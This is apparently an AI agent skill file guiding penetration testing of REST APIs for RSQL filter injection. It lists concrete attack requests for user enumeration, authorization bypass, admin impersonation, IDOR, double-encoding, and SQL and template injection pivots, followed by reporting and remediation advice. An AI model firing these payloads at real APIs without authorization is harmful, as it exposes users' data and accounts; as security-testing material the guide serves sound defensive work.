| name | rsql-injection-testing |
| description | Test REST APIs for RSQL injection vulnerabilities. Use this skill whenever you need to assess API endpoints for RSQL filter injection, including information leakage, authorization bypass, privilege escalation, and IDOR attacks. Trigger this skill when analyzing REST APIs with filter parameters, q parameters, or any query-based filtering in URLs. |
RSQL Injection Testing Skill
A comprehensive guide for testing REST APIs for RSQL (RESTful Query String) injection vulnerabilities.
What is RSQL Injection?
RSQL is a query language for parameterized filtering in RESTful APIs. When applications don't properly sanitize RSQL filters, attackers can inject malicious queries to:
- Extract sensitive data beyond their access level
- Bypass authorization controls
- Escalate privileges by impersonating other users
- Enumerate users and resources
- Modify or delete data through crafted filters
When to Use This Skill
Use this skill when you encounter:
- REST API endpoints with
filter, q, or similar query parameters
- APIs using JSON:API, Spring Data REST, Elide, or similar frameworks
- Endpoints that accept query-based filtering
- Any situation where you need to test for filter injection vulnerabilities
Quick Start
1. Identify RSQL Endpoints
Look for these patterns in API URLs:
/api/users?filter=id==123
/api/products?q=category==electronics
/api/orders?filter[status]=active
/api/items?filter=price>100;category==electronics
Probe for RSQL support:
GET /api/users?filter=id==test
GET /api/users?q=test
GET /api/users?filter=unknown_field==value
What to look for:
- Parser errors like "Unknown operator" or "Unknown property"
- Different response codes for valid vs invalid filters
- Response size changes based on filter values
2. Test Basic Operators
RSQL supports these operators:
| Operator | Description | Example |
|---|
== | Equals | name==john |
!= | Not equals | status!=inactive |
> / =gt= | Greater than | price>100 |
< / =lt= | Less than | price<50 |
>= / =ge= | Greater or equal | age>=18 |
<= / =le= | Less or equal | score<=100 |
=q= | Contains (search) | name=q=john |
=like= | Like pattern | name=like=*john* |
=in= | In list | status=in=(active,pending) |
=out= | Not in list | status=out=(deleted,archived) |
=rng= | Range | createdAt=rng=(2024-01-01,2024-12-31) |
; / and | AND operator | status==active;role==admin |
, / or | OR operator | status==active,role==admin |
3. Information Leakage Tests
User enumeration via email:
GET /api/registrations?filter[userAccounts]=email=='test@example.com'
GET /api/registrations?filter[userAccounts]=email=='admin@company.com'
Wildcard enumeration:
GET /api/users?filter[users]=email==*%@company.com
GET /api/users?filter[users]=status==ACTIVE;email==*admin*
GET /api/users?filter[users]=email==*a*,email==*b*
Range-based enumeration:
GET /api/users?filter[users]=createdAt=rng=(2024-01-01,2024-12-31)
GET /api/users?filter[users]=id=rng=(1,1000)
4. Authorization Bypass Tests
Bypass access controls:
GET /api/users
GET /api/users?filter[users]=id=in=(*a*)
GET /api/users?filter[users]=id!=null
GET /api/users?filter[users]=id==1,id==2,id==3
Filter on related resources:
GET /api/orders?filter[orders]=customer.email==*admin*
GET /api/companyUsers?filter[companyUsers]=user.id=='ADMIN_ID'
5. Privilege Escalation Tests
Enumerate admin users:
GET /api/companyUsers?include=role&filter[companyUsers]=userRole.userRoleKey=='general.roles.admin'
GET /api/companyUsers?filter[companyUsers]=userRole.userRoleId==1
Impersonate admin:
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='ADMIN_ID'
6. IDOR and Impersonation Tests
Access other users' data:
GET /api/users?include=language,country
GET /api/users?include=language,country&filter[users]=id=='OTHER_USER_ID'
GET /api/users?include=language,country,password,token
Combine filters for IDOR:
GET /api/orders?filter[orders]=customer.id=='OTHER_ID'
GET /api/documents?filter[documents]=owner.id=='OTHER_ID'
7. Advanced Techniques
Double-encoding bypass:
GET /api/users?filter[users]=id=in=(%2528admin%2529)
Boolean exfiltration:
GET /api/users?filter[users]=email==*a*@example.com
GET /api/users?filter[users]=email==*b*@example.com
Nested subqueries:
GET /api/products?filter=(category==electronics;price>100),(category==books;price>50)
Custom operators (framework-specific):
GET /api/users?filter[users]=name=ilike='%%' OR 1=1--'
# May pivot to SQL injection in vulnerable implementations
8. Framework-Specific Tests
Elide / Spring Data REST:
GET /api/users?filter[users]=name=ilike='%%' OR 1=1--'
# Test @JoinFilter expressions
GET /api/users?filter[users]=customField=${7*7}
JSON:API:
GET /api/orders?include=customer&filter[orders]=customer.email==*admin*
Detection Checklist
Reporting Findings
When documenting RSQL injection vulnerabilities:
- Endpoint: Full URL with vulnerable parameter
- Payload: Exact filter that caused the vulnerability
- Impact: What data was accessed or what control was bypassed
- Evidence: Request/response showing the vulnerability
- Remediation: Input validation, parameterized queries, proper authorization checks
Remediation Guidance
For developers fixing RSQL injection:
- Validate filter parameters: Whitelist allowed fields and operators
- Use parameterized queries: Never concatenate user input into queries
- Implement proper authorization: Check permissions before returning data
- Limit filter depth: Restrict nested subquery complexity
- Sanitize special characters: Escape or reject dangerous characters
- Use established libraries: Prefer well-maintained RSQL parsers with security features
Automation
Use the included scripts to automate RSQL testing:
python scripts/rsql_payload_generator.py --endpoint /api/users --field email
bash scripts/rsql_fuzzer.sh http://target/api/users filter
References
Safety Notes
- Only test APIs you have authorization to assess
- Use rate limiting to avoid overwhelming target systems
- Document all findings for responsible disclosure
- Never use these techniques on production systems without permission